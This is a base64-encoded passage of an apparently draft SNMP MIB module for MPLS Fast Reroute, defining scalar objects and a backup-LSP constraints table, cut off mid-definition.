MjAzMjIxMjAwWiIgLS0gMTggQXByaWwgMjAwMiAxMjowMDowMCBHTVQNCiAgICAgICBERVNDUklQ
VElPTg0KICAgICAgICAgICAgIkluaXRpYWwgZHJhZnQgdmVyc2lvbi4iDQoNCiAgICAgICA6Oj0g
eyBleHBlcmltZW50YWwgMTIwIH0gLS0gdG8gYmUgYXNzaWduZWQgdW5kZXIgbXBsc01JQi4NCg0K
ICAgIC0tIEVuZCBvZiBNUExTIEZhc3QgUmVyb3V0ZSB0ZXh0dWFsLWNvbnZlbnRpb25zLg0KDQog
ICAgLS0gVG9wIGxldmVsIGNvbXBvbmVudHMgb2YgdGhpcyBNSUIuDQogICAgbXBsc0Zyck5vdGlm
ICAgICAgICAgT0JKRUNUIElERU5USUZJRVIgOjo9IHsgbXBsc0Zyck1JQiAwIH0NCiAgICBtcGxz
RnJyU2NhbGFycyAgICAgICBPQkpFQ1QgSURFTlRJRklFUiA6Oj0geyBtcGxzRnJyTUlCIDEgfQ0K
ICAgIG1wbHNGcnJPYmplY3RzICAgICAgIE9CSkVDVCBJREVOVElGSUVSIDo6PSB7IG1wbHNGcnJN
SUIgMiB9DQoNCiAgICAtLSBvYmplY3RzIHRoYXQgd29yayBmb3IgZWl0aGVyIG1ldGhvZCBvZiBG
UlINCiAgICBtcGxzRnJyR2VuZXJhbE9iamVjdHMgT0JKRUNUIElERU5USUZJRVIgOjo9IHsgbXBs
c0Zyck9iamVjdHMgMSB9DQoNCiAgICAtLSBvYmplY3RzIGRlZmluZWQgZm9yIDEtdG8tMSBzdHls
ZSBGUlINCiAgICBtcGxzRnJyMXRvMU9iamVjdHMgICBPQkpFQ1QgSURFTlRJRklFUiA6Oj0geyBt
cGxzRnJyT2JqZWN0cyAyIH0NCg0KICAgIC0tIG9iamVjdHMgZGVmaW5lZCBmb3IgRmFjaWxpdHkg
QmFja3VwIHN0eWxlIEZSUg0KICAgIG1wbHNGcnJGYWNPYmplY3RzICAgIE9CSkVDVCBJREVOVElG
SUVSIDo6PSB7IG1wbHNGcnJPYmplY3RzIDMgfQ0KDQogICAgLS0NCiAgICAtLSBFZCBOb3RlOiBu
ZWVkIHRvIGRlZmluZSB0d28gY29uZm9ybWFuY2Ugc3RhdGVtZW50czogb25lIGZvcg0KICAgIC0t
IG9uZSBmb3IgMS0yLTEgYW5kIGZvciBGYWNpbGl0eS4gIE1pZ2h0IG5lZWQgc2VwYXJhdGUgb25l
cyBmb3INCiAgICAtLSByZWFkLW9ubHkgdnMuIHJlYWQtd3JpdGUgdG9vLiAgVGhlcmUgaXMgY3Vy
cmVudGx5IGp1c3QgYSBzaW5nbGUNCiAgICAtLSBjb25mb3JtYW5jZSBzdGF0ZW1lbnQgZHVlIHRv
IHRpbWUgY29uc3RyYWludHMuDQogICAgLS0NCiAgICBtcGxzRnJyQ29uZm9ybWFuY2UgICBPQkpF
Q1QgSURFTlRJRklFUiA6Oj0geyBtcGxzRnJyTUlCIDMgfQ0KDQogICAgLS0gTVBMUyBGYXN0IFJl
cm91dGUgc2NhbGFycy4NCg0KICAgIG1wbHNGcnJEZXRvdXJJbmNvbWluZyBPQkpFQ1QtVFlQRQ0K
ICAgICAgIFNZTlRBWCAgICAgICAgVW5zaWduZWQzMg0KICAgICAgIE1BWC1BQ0NFU1MgICAgcmVh
ZC1vbmx5DQogICAgICAgU1RBVFVTICAgICAgICBjdXJyZW50DQogICAgICAgREVTQ1JJUFRJT04N
CiAgICAgICAgICJUaGUgbnVtYmVyIG9mIGRldG91ciBMU1BzIGVudGVyaW5nIHRoZSBkZXZpY2Ug
aWYNCiAgICAgICAgIG1wbHNGcnJDb25zdFByb3RlY3Rpb25NZXRob2QgaXMgc2V0IHRvIG9uZVRv
T25lQmFja3VwKDEpLA0KICAgICAgICAgb3IgMCBpZiBtcGxzRnJyQ29uc3RQcm90ZWN0aW9uTWV0
aG9kIGlzIHNldCB0bw0KICAgICAgICAgZmFjaWxpdHlCYWNrdXAoMikuIg0KICAgICAgIERFRlZB
TCB7IDAgfQ0KICAgICAgIDo6PSB7IG1wbHNGcnJTY2FsYXJzIDEgfQ0KDQogICAgbXBsc0ZyckRl
dG91ck91dGdvaW5nIE9CSkVDVC1UWVBFDQogICAgICAgU1lOVEFYICAgICAgICBVbnNpZ25lZDMy
DQogICAgICAgTUFYLUFDQ0VTUyAgICByZWFkLW9ubHkNCiAgICAgICBTVEFUVVMgICAgICAgIGN1
cnJlbnQNCiAgICAgICBERVNDUklQVElPTg0KICAgICAgICAgIlRoZSBudW1iZXIgb2YgZGV0b3Vy
IExTUHMgbGVhdmluZyB0aGUgZGV2aWNlIGlmDQogICAgICAgICBtcGxzRnJyQ29uc3RQcm90ZWN0
aW9uTWV0aG9kIGlzIHNldCB0byBvbmVUb09uZUJhY2t1cCgxKSwgb3INCiAgICAgICAgIDAgaWYg
bXBsc0ZyckNvbnN0UHJvdGVjdGlvbk1ldGhvZCBpcyBzZXQgdG8NCiAgICAgICAgIGZhY2lsaXR5
QmFja3VwKDIpLiINCiAgICAgICBERUZWQUwgeyAwIH0NCiAgICAgICA6Oj0geyBtcGxzRnJyU2Nh
bGFycyAyIH0NCg0KICAgIG1wbHNGcnJEZXRvdXJPcmlnaW5hdGluZyBPQkpFQ1QtVFlQRQ0KICAg
ICAgIFNZTlRBWCAgICAgICAgVW5zaWduZWQzMg0KICAgICAgIE1BWC1BQ0NFU1MgICAgcmVhZC1v
bmx5DQogICAgICAgU1RBVFVTICAgICAgICBjdXJyZW50DQogICAgICAgREVTQ1JJUFRJT04NCiAg
ICAgICAgICJUaGUgbnVtYmVyIG9mIGRldG91ciBMU1BzIG9yaWdpbmF0aW5nIGF0IHRoaXMgUExS
IGlmDQogICAgICAgICBtcGxzRnJyQ29uc3RQcm90ZWN0aW9uTWV0aG9kIGlzIHNldCB0byBvbmVU
b09uZUJhY2t1cCgxKS4NCiAgICAgICAgIFRoaXMgb2JqZWN0IE1VU1QgcmV0dXJuIDAgaWYgdGhl
IG1wbHNGcnJDb25zdFByb3RlY3Rpb25NZXRob2QNCiAgICAgICAgIGlzIHNldCB0byBmYWNpbGl0
eUJhY2t1cCgyKS4iDQogICAgICAgREVGVkFMIHsgMCB9DQogICAgICAgOjo9IHsgbXBsc0ZyclNj
YWxhcnMgMyB9DQoNCiAgICBtcGxzRnJyU3dpdGNob3ZlciBPQkpFQ1QtVFlQRQ0KICAgICAgIFNZ
TlRBWCAgICAgICAgVW5zaWduZWQzMg0KICAgICAgIE1BWC1BQ0NFU1MgICAgcmVhZC1vbmx5DQog
ICAgICAgU1RBVFVTICAgICAgICBjdXJyZW50DQogICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAg
ICJUaGUgbnVtYmVyIG9mIHR1bm5lbCBpbnN0YW5jZXMgdGhhdCBhcmUgc3dpdGNoZWQgb3ZlciB0
byB0aGVpcg0KICAgICAgICAgY29ycmVzcG9uZGluZyBkZXRvdXIgTFNQIGlmIG1wbHNGcnJDb25z
dFByb3RlY3Rpb25NZXRob2QgaXMgc2V0DQogICAgICAgICB0byBvbmVUb09uZUJhY2t1cCgxKSwg
b3IgdHVubmVsIGluc3RhbmNlcyBiZWluZyBzd2l0Y2hlZCBvdmVyIGlmDQogICAgICAgICBtcGxz
RnJyQ29uc3RQcm90ZWN0aW9uTWV0aG9kIGlzIHNldCB0byBmYWNpbGl0eUJhY2t1cCgyKS4iDQog
ICAgICAgREVGVkFMIHsgMCB9DQogICAgICAgOjo9IHsgbXBsc0ZyclNjYWxhcnMgNCB9DQoNCiAg
ICBtcGxzRnJyQ29uZklmcyBPQkpFQ1QtVFlQRQ0KICAgICAgIFNZTlRBWCAgICAgICAgVW5zaWdu
ZWQzMg0KICAgICAgIE1BWC1BQ0NFU1MgICAgcmVhZC1vbmx5DQogICAgICAgU1RBVFVTICAgICAg
ICBjdXJyZW50DQogICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICJJbmRpY2F0ZXMgdGhlIG51
bWJlciBvZiBNUExTIGludGVyZmFjZXMgY29uZmlndXJlZCBmb3INCiAgICAgICAgICBwcm90ZWN0
aW9uIGJ5IHRoZSBGUlIgZmVhdHVyZSwgb3RoZXJ3aXNlIHRoaXMgdmFsdWUNCiAgICAgICAgICBN
VVNUIHJldHVybiAwIHRvIGluZGljYXRlIHRoYXQgTFNQcyB0cmF2ZXJzaW5nIGFueQ0KICAgICAg
ICAgIGludGVyZmFjZSBtYXkgYmUgcHJvdGVjdGVkLiINCiAgICAgICBERUZWQUwgeyAwIH0NCiAg
ICAgICA6Oj0geyBtcGxzRnJyU2NhbGFycyA1IH0NCg0KICAgIG1wbHNGcnJBY3RQcm90ZWN0ZWRJ
ZnMgT0JKRUNULVRZUEUNCiAgICAgICBTWU5UQVggICAgICAgIFVuc2lnbmVkMzINCiAgICAgICBN
QVgtQUNDRVNTICAgIHJlYWQtb25seQ0KICAgICAgIFNUQVRVUyAgICAgICAgY3VycmVudA0KICAg
ICAgIERFU0NSSVBUSU9ODQogICAgICAgICAiSW5kaWNhdGVzIHRoZSBudW1iZXIgb2YgaW50ZXJm
YWNlcyBjdXJyZW50bHkgYmVpbmcgcHJvdGVjdGVkDQogICAgICAgICAgYnkgdGhlIEZSUiBmZWF0
dXJlIGlmIG1wbHNGcnJDb25zdFByb3RlY3Rpb25NZXRob2QgaXMgc2V0IHRvDQogICAgICAgICAg
ZmFjaWxpdHlCYWNrdXAoMiksIG90aGVyd2lzZSB0aGlzIHZhbHVlIHNob3VsZCByZXR1cm4gMCB0
bw0KICAgICAgICAgIGluZGljYXRlIHRoYXQgTFNQcyB0cmF2ZXJzaW5nIGFueSBpbnRlcmZhY2Ug
bWF5IGJlIHByb3RlY3RlZC4NCiAgICAgICAgICBUaGlzIHZhbHVlIE1VU1QgYmUgbGVzcyB0aGFu
IG9yIGVxdWFsIHRvIG1wbHNGcnJDb25mSWZzLiINCiAgICAgICBERUZWQUwgeyAwIH0NCiAgICAg
ICA6Oj0geyBtcGxzRnJyU2NhbGFycyA2IH0NCg0KICAgIG1wbHNGcnJDb25mUHJvdGVjdGVkVHVu
cyBPQkpFQ1QtVFlQRQ0KICAgICAgIFNZTlRBWCAgICAgICAgVW5zaWduZWQzMg0KICAgICAgIE1B
WC1BQ0NFU1MgICAgcmVhZC1vbmx5DQogICAgICAgU1RBVFVTICAgICAgICBjdXJyZW50DQogICAg
ICAgREVTQ1JJUFRJT04NCiAgICAgICAgICJJbmRpY2F0ZXMgdGhlIG51bWJlciBvZiBieXBhc3Mg
dHVubmVscyBjb25maWd1cmVkIHRvDQogICAgICAgICAgcHJvdGVjdCBmYWNpbGl0aWVzIG9uIHRo
aXMgTFNSIHVzaW5nIHRoZSBGUlIgZmVhdHVyZQ0KICAgICAgICAgIGlmIG1wbHNGcnJDb25zdFBy
b3RlY3Rpb25NZXRob2QgaXMgc2V0IHRvDQogICAgICAgICAgZmFjaWxpdHlCYWNrdXAoMiksIG90
aGVyd2lzZSB0aGlzIHZhbHVlIE1VU1QgcmV0dXJuDQogICAgICAgICAgMC4iDQogICAgICAgREVG
VkFMIHsgMCB9DQogICAgICAgOjo9IHsgbXBsc0ZyclNjYWxhcnMgNyB9DQoNCiAgICBtcGxzRnJy
QWN0UHJvdGVjdGVkVHVucyBPQkpFQ1QtVFlQRQ0KICAgICAgIFNZTlRBWCAgICAgICAgVW5zaWdu
ZWQzMg0KICAgICAgIE1BWC1BQ0NFU1MgICAgcmVhZC1vbmx5DQogICAgICAgU1RBVFVTICAgICAg
ICBjdXJyZW50DQogICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICJJbmRpY2F0ZXMgdGhlIG51
bWJlciBvZiBieXBhc3MgdHVubmVscyBpbmRpY2F0ZWQgaW4NCiAgICAgICAgICBtcGxzRnJyQ29u
ZlByb3RlY3RlZFR1bnMgd2hvc2Ugb3BlclN0YXR1cw0KICAgICAgICAgIGlzIHVwKDEpIGluZGlj
YXRpbmcgdGhhdCB0aGV5IGFyZSBjdXJyZW50bHkgcHJvdGVjdGluZw0KICAgICAgICAgIGZhY2ls
aXRpZXMgb24gdGhpcyBMU1IgdXNpbmcgdGhlIEZSUiBmZWF0dXJlLiBUaGlzDQogICAgICAgICAg
b2JqZWN0IE1VU1QgcmV0dXJuIDAgaWYgbXBsc0ZyckNvbnN0UHJvdGVjdGlvbk1ldGhvZA0KICAg
ICAgICAgIGlzIHNldCB0byBvbmVUb09uZUJhY2t1cCgxKS4iDQogICAgICAgREVGVkFMIHsgMCB9
DQogICAgICAgOjo9IHsgbXBsc0ZyclNjYWxhcnMgOCB9DQoNCiAgICBtcGxzRnJyQWN0aXZlbHlQ
cm90ZWN0ZWRMU1BzIE9CSkVDVC1UWVBFDQogICAgICAgU1lOVEFYICAgICAgICBVbnNpZ25lZDMy
DQogICAgICAgTUFYLUFDQ0VTUyAgICByZWFkLW9ubHkNCiAgICAgICBTVEFUVVMgICAgICAgIGN1
cnJlbnQNCiAgICAgICBERVNDUklQVElPTg0KICAgICAgICAgIkluZGljYXRlcyB0aGUgbnVtYmVy
IG9mIExTUHMgY3VycmVudGx5IHByb3RlY3RlZCBieQ0KICAgICAgICAgIHRoZSBGUlIgZmVhdHVy
ZS4gSWYgbXBsc0ZyckNvbnN0UHJvdGVjdGlvbk1ldGhvZCBpcyBzZXQNCiAgICAgICAgICB0byBv
bmVUb09uZUJhY2t1cCgxKXRoaXMgb2JqZWN0IE1VU1QgcmV0dXJuIDAuIg0KICAgICAgIERFRlZB
TCB7IDAgfQ0KICAgICAgIDo6PSB7IG1wbHNGcnJTY2FsYXJzIDkgfQ0KDQogICAgbXBsc0ZyckNv
bnN0UHJvdGVjdGlvbk1ldGhvZCBPQkpFQ1QtVFlQRQ0KICAgICAgIFNZTlRBWCAgICAgICAgSU5U
RUdFUiB7IG9uZVRvT25lQmFja3VwKDApLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZhY2lsaXR5QmFja3VwKDEpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAg
ICBNQVgtQUNDRVNTICAgIHJlYWQtd3JpdGUNCiAgICAgICBTVEFUVVMgICAgICAgIGN1cnJlbnQN
CiAgICAgICBERVNDUklQVElPTg0KICAgICAgICAgIkluZGljYXRlcyB3aGljaCBwcm90ZWN0aW9u
IG1ldGhvZCBpcyB0byBiZSB1c2VkIGZvciBmYXN0DQogICAgICAgICAgcmVyb3V0ZS4gU29tZSBk
ZXZpY2VzIG1heSByZXF1aXJlIGEgcmVib290IG9mIHRoZWlyIHJvdXRpbmcNCiAgICAgICAgICBw
cm9jZXNzb3JzIGlmIHRoaXMgdmFyaWFibGUgaXMgY2hhbmdlZC4gQW4gYWdlbnQgd2hpY2gNCiAg
ICAgICAgICBkb2VzIG5vdCB3aXNoIHRvIHJlYm9vdCBvciBtb2RpZnkgaXRzIEZSUiBtb2RlDQog
ICAgICAgICAgTVVTVCByZXR1cm4gYW4gaW5jb25zaXN0ZW50VmFsdWUgZXJyb3IuIFBsZWFzZQ0K
ICAgICAgICAgIGNvbnN1bHQgdGhlIGRldmljZSdzIGFnZW50IGNhcGFiaWxpdHkgc3RhdGVtZW50
DQogICAgICAgICAgZm9yIG1vcmUgZGV0YWlscy4iDQogICAgICAgOjo9IHsgbXBsc0ZyclNjYWxh
cnMgMTAgfQ0KDQogICAgbXBsc0Zyck5vdGlmc0VuYWJsZWQgT0JKRUNULVRZUEUNCiAgICAgICAg
U1lOVEFYICAgICAgICAgICAgVHJ1dGhWYWx1ZQ0KICAgICAgICBNQVgtQUNDRVNTICAgICAgICBy
ZWFkLXdyaXRlDQogICAgICAgIFNUQVRVUyAgICAgICAgICAgIGN1cnJlbnQNCiAgICAgICAgREVT
Q1JJUFRJT04NCiAgICAgICAgICAgICJFbmFibGVzIG9yIGRpc2FibGVzIEZSUiBub3RpZmljYXRp
b25zIGRlZmluZWQgaW4gdGhpcyBNSUINCiAgICAgICAgICAgIG1vZHVsZS4gTm90aWZpY2F0aW9u
cyBhcmUgZGlzYWJsZWQgYnkgZGVmYXVsdC4iDQogICAgICAgIERFRlZBTCB7IGZhbHNlIH0NCiAg
ICA6Oj0geyBtcGxzRnJyU2NhbGFycyAxMSB9DQoNCiAgICBtcGxzRnJyTG9nVGFibGVNYXhFbnRy
aWVzIE9CSkVDVC1UWVBFDQogICAgICAgIFNZTlRBWCAgICAgICAgICAgIFVuc2lnbmVkMzINCiAg
ICAgICAgTUFYLUFDQ0VTUyAgICAgICAgcmVhZC13cml0ZQ0KICAgICAgICBTVEFUVVMgICAgICAg
ICAgICBjdXJyZW50DQogICAgICAgIERFU0NSSVBUSU9ODQogICAgICAgICAgICAiSW5kaWNhdGVz
IHRoZSBtYXhpbXVtIG51bWJlciBvZiBlbnRyaWVzIGFsbG93ZWQgaW4gdGhlIEZSUg0KICAgICAg
ICAgICAgIExvZyB0YWJsZS4gQWdlbnRzIHJlY2VpdmluZyBTRVRzIGZvciB2YWx1ZXMgdGhhdCBj
YW5ub3QgYmUNCiAgICAgICAgICAgICB1c2VkIG11c3QgcmV0dXJuIGFuIGluY29uc2lzdGVudCB2
YWx1ZSBlcnJvci4gSWYgYSBtYW5hZ2VyDQogICAgICAgICAgICAgc2V0cyB0aGlzIHZhbHVlIHRv
IDAsIHRoaXMgaW5kaWNhdGVzIHRoYXQgbm8gbG9nZ2luZyBzaG91bGQNCiAgICAgICAgICAgICB0
YWtlIHBsYWNlIGJ5IHRoZSBhZ2VudC4NCg0KICAgICAgICAgICAgIElmIHRoaXMgdmFsdWUgaXMg
cmV0dXJuZWQgYXMgMCwgdGhpcyBpbmRpY2F0ZXMNCiAgICAgICAgICAgICB0aGF0IG5vIGFkZGl0
aW9uYWwgbG9nIGVudHJpZXMgd2lsbCBiZSBhZGRlZCB0byB0aGUgY3VycmVudA0KICAgICAgICAg
ICAgIHRhYmxlIGVpdGhlciBiZWNhdXNlIHRoZSB0YWJsZSBoYXMgYmVlbiBjb21wbGV0ZWx5DQog
ICAgICAgICAgICAgZmlsbGVkIG9yIGxvZ2dpbmcgaGFzIGJlZW4gZGlzYWJsZWQuIEhvd2V2ZXIs
IGFnZW50cw0KICAgICAgICAgICAgIG1heSB3aXNoIHRvIG5vdCBkZWxldGUgZXhpc3RpbmcgZW50
cmllcyBpbiB0aGUgbG9nIHRhYmxlDQogICAgICAgICAgICAgc28gdGhhdCBtYW5hZ2VycyBtYXkg
cmV2aWV3IHRoZW0gaW4gdGhlIGZ1dHVyZS4NCg0KICAgICAgICAgICAgIEl0IGlzIGltcGxpZWQg
dGhhdCB3aGVuIG1wbHNGcnJMb2dUYWJsZUN1cnJFbnRyaWVzDQogICAgICAgICAgICAgaGFzIHJl
YWNoZWQgdGhlIHZhbHVlIG9mIHRoaXMgdmFyaWFibGUsIHRoYXQgbG9nZ2luZw0KICAgICAgICAg
ICAgIGVudHJpZXMgbWF5IG5vdCBjb250aW51ZSB0byBiZSBhZGRlZCB0byB0aGUgdGFibGUsDQog
ICAgICAgICAgICAgYWx0aG91Z2ggZXhpc3Rpbmcgb25lcyBtYXkgcmVtYWluLiAgRnVydGhlcm1v
cmUsIGFuDQogICAgICAgICAgICAgYWdlbnQgbWF5IGJlZ2luIHRvIGRlbGV0ZSBleGlzdGluZyAo
cGVyaGFwcyB0aGUNCiAgICAgICAgICAgICBvbGRlc3QgZW50cmllcykgZW50cmllcyB0byBtYWtl
IHJvb20gZm9yIG5ldyBvbmVzLiINCiAgICAgICAgREVGVkFMIHsgMCB9DQogICAgOjo9IHsgbXBs
c0ZyclNjYWxhcnMgMTIgfQ0KDQogICAgbXBsc0ZyckxvZ1RhYmxlQ3VyckVudHJpZXMgT0JKRUNU
LVRZUEUNCiAgICAgICAgU1lOVEFYICAgICAgICAgICAgQ291bnRlcjMyDQogICAgICAgIE1BWC1B
Q0NFU1MgICAgICAgIHJlYWQtb25seQ0KICAgICAgICBTVEFUVVMgICAgICAgICAgICBjdXJyZW50
DQogICAgICAgIERFU0NSSVBUSU9ODQogICAgICAgICAgICAiSW5kaWNhdGVzIHRoZSBjdXJyZW50
IG51bWJlciBvZiBlbnRyaWVzIGluIHRoZSBGUlIgbG9nDQogICAgICAgICAgICB0YWJsZS4iDQog
ICAgOjo9IHsgbXBsc0ZyclNjYWxhcnMgMTMgfQ0KDQogICAgbXBsc0Zyck5vdGlmTWF4UmF0ZSBP
QkpFQ1QtVFlQRQ0KICAgICAgIFNZTlRBWCAgICAgICBVbnNpZ25lZDMyDQogICAgICAgTUFYLUFD
Q0VTUyAgIHJlYWQtd3JpdGUNCiAgICAgICBTVEFUVVMgICAgICAgY3VycmVudA0KICAgICAgIERF
U0NSSVBUSU9ODQogICAgICAgICAgICJUaGlzIHZhcmlhYmxlIGluZGljYXRlcyB0aGUgbnVtYmVy
IG9mIG1pbGxpc2Vjb25kcw0KICAgICAgICAgICAgdGhhdCBtdXN0IGVsYXBzZSBiZXR3ZWVuIG5v
dGlmaWNhdGlvbiBlbWlzc2lvbnMuIElmDQogICAgICAgICAgICBldmVudHMgb2NjdXIgbW9yZSBy
YXBpZGx5LCB0aGUgaW1wbGVtZW50YXRpb24gbWF5DQogICAgICAgICAgICBzaW1wbHkgZmFpbCB0
byBlbWl0IHRoZXNlIG5vdGlmaWNhdGlvbnMgZHVyaW5nIHRoYXQNCiAgICAgICAgICAgIHBlcmlv
ZCwgb3IgbWF5IHF1ZXVlIHRoZW0gdW50aWwgYW4gYXBwcm9wcmlhdGUNCiAgICAgICAgICAgIHRp
bWUgaW4gdGhlIGZ1dHVyZS4gQSB2YWx1ZSBvZiAwIG1lYW5zIG5vIG1pbmltdW0NCiAgICAgICAg
ICAgIGVsYXBzZWQgcGVyaW9kIGlzIHNwZWNpZmllZC4iDQogICAgICAgREVGVkFMICAgICAgIHsg
MCB9DQogICAgOjo9IHsgbXBsc0ZyclNjYWxhcnMgMTQgfQ0KDQogICAgLS0NCiAgICAtLSAgR2Vu
ZXJhbCBGUlIgVGFibGUgU2VjdGlvbg0KICAgIC0tDQogICAgLS0gIFRoZXNlIHRhYmxlcyBhcHBs
eSB0byBib3RoIHR5cGVzIG9mIEZSUg0KICAgIC0tICBhbmQgc2hvdWxkIGJlIGltcGxlbWVudGVk
IGJ5IGFsbCBMU1JzIHN1cHBvcnRpbmcNCiAgICAtLSAgRlJSLg0KICAgIC0tDQoNCiAgICAtLSBN
UExTIEZhc3QgUmVyb3V0ZSBDb25zdHJhaW50cyB0YWJsZQ0KDQogICAgbXBsc0ZyckNvbnN0VGFi
bGUgT0JKRUNULVRZUEUNCiAgICAgICBTWU5UQVggICAgICAgIFNFUVVFTkNFIE9GIE1wbHNGcnJD
b25zdEVudHJ5DQogICAgICAgTUFYLUFDQ0VTUyAgICBub3QtYWNjZXNzaWJsZQ0KICAgICAgIFNU
QVRVUyAgICAgICAgY3VycmVudA0KICAgICAgIERFU0NSSVBUSU9ODQogICAgICAgICAiVGhpcyB0
YWJsZSBzaG93cyBiYWNrdXAgTFNQIHNldHVwIGNvbnN0cmFpbnRzLiINCiAgICAgICA6Oj0geyAg
bXBsc0ZyckdlbmVyYWxPYmplY3RzIDEgfQ0KDQogICAgbXBsc0ZyckNvbnN0RW50cnkgT0JKRUNU
LVRZUEUNCiAgICAgICBTWU5UQVggICAgICAgIE1wbHNGcnJDb25zdEVudHJ5DQogICAgICAgTUFY
LUFDQ0VTUyAgICBub3QtYWNjZXNzaWJsZQ0KICAgICAgIFNUQVRVUyAgICAgICAgY3VycmVudA0K
ICAgICAgIERFU0NSSVBUSU9ODQogICAgICAgICAiQW4gZW50cnkgaW4gdGhpcyB0YWJsZSByZXBy
ZXNlbnRzIGRldG91ciBMU1Agb3IgYnlwYXNzIHR1bm5lbA0KICAgICAgICAgIHNldHVwIGNvbnN0
cmFpbnRzIGZvciBhIHR1bm5lbCBpbnN0YW5jZSB0byBiZSBwcm90ZWN0ZWQgYnkgZGV0b3VyDQog
ICAgICAgICAgTFNQcyBvciBhIHR1bm5lbC4NCg0KICAgICAgICAgIEFnZW50cyBtdXN0IGFsbG93
IGVudHJpZXMgaW4gdGhpcyB0YWJsZSB0byBiZQ0KICAgICAgICAgIGNyZWF0ZWQgb25seSBmb3Ig
dHVubmVsIGluc3RhbmNlcyB0aGF0IHJlcXVpcmUgZmFzdC1yZXJvdXRlLg0KICAgICAgICAgIEVu
dHJpZXMgaW5kZXhlZCB3aXRoIG1wbHNGcnJDb25zdElmSW5kZXggc2V0IHRvIDAgYXBwbHkgdG8g
YWxsDQogICAgICAgICAgaW50ZXJmYWNlcyBvbiB0aGlzIGRldmljZSBmb3Igd2hpY2ggdGhlIEZS
UiBmZWF0dXJlIGNhbiBvcGVyYXRlDQogICAgICAgICAgb24uIg0KICAgICAgIElOREVYIHsgbXBs
c0ZyckNvbnN0SWZJbmRleCwNCiAgICAgICAgICAgICAgIG1wbHNGcnJDb25zdFR1bm5lbEluZGV4
LA0KICAgICAgICAgICAgICAgbXBsc0ZyckNvbnN0VHVubmVsSW5zdGFuY2UNCiAgICAgICAgICAg
ICB9DQogICAgICAgOjo9IHsgbXBsc0ZyckNvbnN0VGFibGUgMSB9DQoNCiAgICBNcGxzRnJyQ29u
c3RFbnRyeSA6Oj0gU0VRVUVOQ0Ugew0KICAgICAgICAgIG1wbHNGcnJDb25zdElmSW5kZXggICAg
ICAgICAgIEludGVyZmFjZUluZGV4T3JaZXJvLA0KICAgICAgICAgIG1wbHNGcnJDb25zdFR1bm5l
bEluZGV4ICAgICAgIE1wbHNUdW5uZWxJbmRleCwNCiAgICAgICAgICBtcGxzRnJyQ29uc3RUdW5u
ZWxJbnN0YW5jZSAgICBNcGxzVHVubmVsSW5zdGFuY2VJbmRleCwNCiAgICAgICAgICBtcGxzRnJy
Q29uc3RQcm90ZWN0aW9uVHlwZSAgICBJTlRFR0VSLA0KICAgICAgICAgIG1wbHNGcnJDb25zdFNl
dHVwUHJpbyAgICAgICAgIFVuc2lnbmVkMzIsDQogICAgICAgICAgbXBsc0ZyckNvbnN0SG9sZGlu
Z1ByaW8gICAgICAgVW5zaWduZWQzMiwNCiAgICAgICAgICBtcGxzRnJyQ29uc3RJbmNsQW55QWZm
aW5pdHkgICBNcGxzVHVubmVsQWZmaW5pdHksDQogICAgICAgICAgbXBsc0ZyckNvbnN0SW5jbEFs
bEFmZmluaXR5ICAgTXBsc1R1bm5lbEFmZmluaXR5LA0KICAgICAgICAgIG1wbHNGcnJDb25zdEV4
Y2xBbnlBZmZpbml0eSAgIE1wbHNUdW5uZWxBZmZpbml0eSwNCiAgICAgICAgICBtcGxzRnJyQ29u
c3RIb3BMaW1pdCAgICAgICAgICBVbnNpZ25lZDMyLA0KICAgICAgICAgIG1wbHNGcnJDb25zdEJh
bmR3aWR0aCAgICAgICAgIEludGVnZXIzMiwNCiAgICAgICAgICBtcGxzRnJyQ29uc3RSb3dTdGF0
dXMgICAgICAgICBSb3dTdGF0dXMNCiAgICB9DQoNCiAgICBtcGxzRnJyQ29uc3RJZkluZGV4ICBP
QkpFQ1QtVFlQRQ0KICAgICAgIFNZTlRBWCAgICAgICAgSW50ZXJmYWNlSW5kZXhPclplcm8NCiAg
ICAgICBNQVgtQUNDRVNTICAgIG5vdC1hY2Nlc3NpYmxlDQogICAgICAgU1RBVFVTICAgICAgICBj
dXJyZW50DQogICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICJVbmlxdWVseSBpZGVudGlmaWVz
IGFuIGludGVyZmFjZSBmb3Igd2hpY2ggZmFzdCByZXJvdXRlIGlzDQogICAgICAgICBjb25maWd1
cmVkLiBUYWJ1bGFyIGVudHJpZXMgaW5kZXhlZCB3aXRoIGEgMCB2YWx1ZSBhcHBseSB0byBhbGwN
CiAgICAgICAgIGludGVyZmFjZXMgb24gdGhpcyBkZXZpY2UgZm9yIHdoaWNoIHRoZSBGUlIgZmVh
dHVyZSBjYW4gb3BlcmF0ZQ0KICAgICAgICAgb24uIg0KICAgICAgIDo6PSB7IG1wbHNGcnJDb25z
dEVudHJ5IDEgfQ0KDQogICAgbXBsc0ZyckNvbnN0VHVubmVsSW5kZXggT0JKRUNULVRZUEUNCiAg
ICAgICBTWU5UQVggICAgICAgIE1wbHNUdW5uZWxJbmRleA0KICAgICAgIE1BWC1BQ0NFU1MgICAg
bm90LWFjY2Vzc2libGUNCiAgICAgICBTVEFUVVMgICAgICAgIGN1cnJlbnQNCiAgICAgICBERVND
UklQVElPTg0KICAgICAgICAgIlVuaXF1ZWx5IGlkZW50aWZpZXMgYSB0dW5uZWwgZm9yIHdoaWNo
IGZhc3QgcmVyb3V0ZSBpcw0KICAgICAgICAgIHJlcXVlc3RlZC4iDQogICAgICAgOjo9IHsgbXBs
c0ZyckNvbnN0RW50cnkgMiB9DQoNCiAgICBtcGxzRnJyQ29uc3RUdW5uZWxJbnN0YW5jZSBPQkpF
Q1QtVFlQRQ0KICAgICAgIFNZTlRBWCAgICAgICAgTXBsc1R1bm5lbEluc3RhbmNlSW5kZXgNCiAg
ICAgICBNQVgtQUNDRVNTICAgIG5vdC1hY2Nlc3NpYmxlDQogICAgICAgU1RBVFVTICAgICAgICBj
dXJyZW50DQogICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICJVbmlxdWVseSBpZGVudGlmaWVz
IGFuIGluc3RhbmNlIG9mIHRoaXMgdHVubmVsIGZvciB3aGljaCBmYXN0DQogICAgICAgICAgcmVy
b3V0ZSBpcyByZXF1ZXN0ZWQuDQoNCiAgICAgICAgIC0gbG93ZXIgMTYgYml0cyA6IHByb3RlY3Rl
